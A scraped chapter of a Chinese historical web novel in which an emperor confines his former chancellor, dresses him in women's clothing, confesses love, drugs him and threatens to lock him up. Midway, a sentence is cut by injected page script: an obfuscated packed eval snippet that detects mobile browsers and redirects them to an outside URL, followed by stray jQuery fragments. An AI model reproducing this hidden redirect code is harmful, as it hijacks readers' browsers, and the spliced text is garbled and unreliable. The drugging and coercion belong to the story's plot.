默认冷灰
24号文字
方正启体

3. Chapter 3

作者:默潜本书字数:K更新时间:
    “怎么还是回宫?”


    祁照玄闭着目充耳不闻,季容可不怕他,直接踢了下他的小腿。


    “朕可不记得,什么时候答应过不回宫。”


    “不是,”季容不理解,也觉得好笑,“你把我关在宫中做什么,既然我职位已被废,按我以前做过的那些事,无论是下狱、流放或者死刑都说的过去。”


    “但你就这么不声不响瞒着大理寺把我关在宫中,”季容嗤笑一声,“不是明君么,陛下?”


    祁照玄不语,季容自讨没趣,也懒得再问。


    就在这样的沉默之中直至回到乾清宫。


    祁照玄大概是真的很忙,刚到乾清宫便有宫人来报有事,随后又去御书房面见朝臣。


    乾清宫再次只剩下季容一人。


    宫中日子枯燥,从那日回宫后,成日里就只能钓钓鱼赏赏花,还得时常戴着帷帽防止被他人看见。


    前十几年任职丞相时就被条条框框束缚着,现在身无要职却还是被关着,季容快无聊死了。


    鱼饲料从空中抛下落至湖面,季容倚着柱子,发神地看着湖里争着吃食的鱼群。


    他想不明白祁照玄到底要做什么。


    先帝暴政,在位时民不聊生,他是先帝手中最好用的走狗,坏事似乎都已做尽。


    名声远扬,却是无恶不作的形象。


    而祁照玄是嫡长子,生来便是太子,明辨是非沉稳有谋,与暴虐成性、漠视民生的先帝截然不同。


    先帝在位时期社稷动荡,谁心中都或多或少猜测过禹朝也许挺不了多久,就在这时先帝嘎嘣一下死了,太子祁照玄继位,硬生生又给暗藏死气的禹朝拽了回来。


    季容眸光暗了暗。


    说是仁智兼备谦谦君子,可到底和先帝流的是同样的血。


    他之前给尚且年幼的祁照玄做过几年太子少傅,那时候的祁照玄还没有现在这样装模装样。


    总是暗沉的瞳孔,病态一样的青白肤色,不爱说话也不与旁人交流,喜欢站在屋檐上悄不做声地观察每一个人。


    小时的祁照玄尤为喜欢盯着他看,从一开始的不与他说话,到后来日日缠在他的身边。


    可不知道从什么时候开始,祁照玄的眼神就变了,变成了季容不太喜欢的样子。


    明明是平静的神色,可总会给他一种阴暗的感觉。


    就像是林中的猛虎,静静地看着属于它的食物。


    季容不喜欢这种感觉,再加上先帝越来越荒淫无度,他要忙的事情越来越多,名声也越来越臭,就渐渐没再和祁照玄有过联系。


    直至先帝逝去新帝继位。


    刚上位的天子雷厉风行,将先帝留下来的恶习和恶瘤一一去除,包括他这个先帝的爪牙,也被革除了职位。


    而后,便被关在了乾清宫,直至今日。


    要说先帝留下的毒瘤,最大的就是他了。


    可他非但没有受过任何责罚,还整日里被好吃好喝地逍遥,除了那死祁照玄只给他准备了女装之外,其他的都好不自在。


    明明乾清宫是天子寝宫,却一直是他住在里面,连祁照玄都见不了几次。


    搞得他才像是天子一样。


    季容心中嘀咕。


    他将剩下饲料全部撒了进去,白皙的手指在盆中清水交叠揉搓,又用手帕擦拭干净。


    御花园的道路众多,密密麻麻盛开的花朵点缀在旁,今日多云,刺眼的太阳只隐隐露出几缕。


    “都散开点,闷得慌。”季容懒声道。


    祁照玄安排在他旁边的就两名傻呆傻呆的侍卫和几个太监宫女,也许是得了祁照玄的吩咐,对他的话言听计从。


    高大茂盛的树立在两旁,季容慢慢晃悠进,其他人在远处遥遥跟着。


    这条路浓荫蔽日,偶尔还有清凉的微风拂过。


    季容抬眸看向前方,几个小太监向这边走来。


    就在两边人擦肩而过的瞬间,季容迅速从最后的那个小太监手上接过了纸团,随后指尖一动,纸团消失在手中。


    今日天气不错,但季容逛了一会儿便觉得有些累了,打了个哈欠后就打算回去了。


    刚走到乾清宫大门时季容便觉得有些不对。


    门口的侍卫明显增加了,太监宫女也显而易见地紧张和规矩。


    季容挑了下眉,随口问门口侍卫:“陛下来了?”


    门口侍卫不是他身边那两个呆呆的新人,显然训练有素,面对他的发问也不搭理。


    其实这个问题再走几步便能有了答案,李有德就候在暖阁的门口,暖阁内有谁已经不需要猜了。


    殿中不知为何气压很低,宫人都屏息凝气低着头。


    季容一步步走近里屋,脚步声空灵的在殿中打转,祁照玄掀开眼皮,缓缓抬头,眼中瞳孔平静如死水,就这么盯着他。


    祁照玄的手边是前些时日出宫时在胭脂铺买的东西,再往里,两名宫人候在衣架边上,而衣架上挂着数十件的淡色女装。


    季容刚走至祁照玄的面前,祁照玄一抬手指,他身后亦步亦趋跟着的李有德便立刻奉上茶盏。


    “大人,夏日炎炎,这是御厨熬制的绿豆汤。”


    “你到底想做什么?”他问。


    祁照玄不语,只手指点了点绿豆汤。


    得。


    不喝还不说话了。


    季容无语地看了一眼绿豆汤,拿起一口饮尽。


    碗底与托盘碰撞出清脆的声响,季容拉了个椅子,没个正形似的倚在上面。


    “现在能说了?”


    祁照玄骨节分明的手指轻叩着桌面,目光似随意般漫不经心地扫过桌面上的口脂,指尖最后落在一只瓷罐上,随后轻轻捻起。


    玄色锦服随着祁照玄站起而垂落,衣摆绣着暗金云纹,他步履沉稳,向季容走去。


    随着距离的拉进,季容再次嗅见了祁照玄身上那股冷冽幽香,似雨后泥土的味道,带着寒意。


    季容仍坐在椅子上,下巴微微扬起,澄澈的眸子看着缓步靠近他的祁照玄。


    口脂瓷罐被拧开,清甜淡香的花香顿时浮在空中,他看见祁照玄食指取了些许,而后俯身,温热的气息喷洒在他的脸庞,祁照玄的食指轻动,指尖带着凉意,细细将口脂涂抹在他的下唇。


    动作轻柔,像是怕扰了什么。


    浅红润透,不艳不淡。


    口脂却衬得肤色更白,他的眉眼清绝,眸中带着些清冷。


    “相父真是美极了。”祁照玄道。


    季容眼皮一跳,他退后几步,祁照玄的手顿在空中。


    祁照玄喉间滚出低哑的笑意。


    “朕总觉得夏夜孤枕难眠,可相父你知道的,朕眼光高。”


    祁照玄向前几步,手掌再次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048816|194778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摸上他的脸颊,拇指擦过他红润的唇瓣,轻声道:“但朕瞧相父秀色可餐,着上女装足以以假乱真,不如委屈委屈相父,给朕做个后妃?”


    “……”


    季容沉默了。


    祁照玄的话听得他心中有点慌。


    许久,他装着平静,真诚发问:“你有病?”


    “你让一个人人唾弃无恶不作的……”


    “相父,”祁照玄强势打断了他,长叹了口气,“朕知道你是什么样子的人,朕不会从别人的评价中去认识你。”


    靠。


    怎么莫名有些心慌。


    祁照玄这是要说什么。


    季容脸都瘫了。


    “相父……”


    “闭嘴。”


    季容头痛地揉着眉心,突然不知道该怎么办了,但至少不能让祁照玄继续说下去。


    他怕让祁照玄说下去真会坐实他的猜测。


    ……虽然现在的样子也差不多了。


    季容拍开祁照玄的手,主动又拉远了他们之间的距离,他琢磨着话语道:“等等,你先听我说……”


    “相父。”


    祁照玄追了过来,双手搂住他的腰间,头也低垂在季容的脖颈边上。


    冷冷的熏香再次围绕在季容身边。


    “相父,”祁照玄不容拒绝地道,“我心悦你。”


    疯了。


    简直是疯了。


    虽说现在祁照玄已经长的比他高了,可季容对他的印象却还是停留在几年前那个小萝卜的形象上。


    突然之间听见当年那个小萝卜说心悦他,是个正常人都会难以面对的好不好!


    更别提他现在还穿着女装……


    真是够了。


    祁照玄紧贴着他,季容无法描述现在的情况,无语又绝望。


    不对,纸团!


    季容的身体突然僵硬。


    纸团还在他的袖中。


    夏季的襦裙轻薄,纸团又是硬的,太容易被人感知出来了。


    “相父怎么如此紧张?”


    季容脑筋急转正想办法的时候,祁照玄却突然发问。


    季容已经无心纠结祁照玄真的假的那些见不得人的心思了,一心都在袖中的纸团上。


    他尽力平息着语调,道:“你抱得太紧了。”


    “是么?”祁照玄轻声发问。


    腰间的手臂越锢越紧,季容不敢动弹。


    “朕待相父如此好,什么都未曾短缺,锦衣玉食应有尽有。”


    季容的意识不知为何有些晕沉,视线也变得模糊。


    祁照玄的语气似是不解,柔声问道:


    “相父怎么总是想着逃呢?”


    话音刚落,祁照玄便拉开距离,手指顺手牵羊地拿出季容袖中的纸团。


    纸团……


    视线越来越模糊,季容终于意识到了不对。


    是那碗绿豆汤。


    他被下药了。


    他抬眼看向祁照玄,祁照玄的嘴角勾起一抹浅浅的弧度,眼底却毫无笑意,反而似寒潭一般冰冷。


    祁照玄的拇指摩挲着季容涂抹着口脂的下唇,语气柔和却阴森:


    “怎么办呢,相父这么喜欢跑,那锁起来好不好?”


    “锁起来,相父便跑不掉了。”


    这是季容失去意识前,最后听见的一句话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)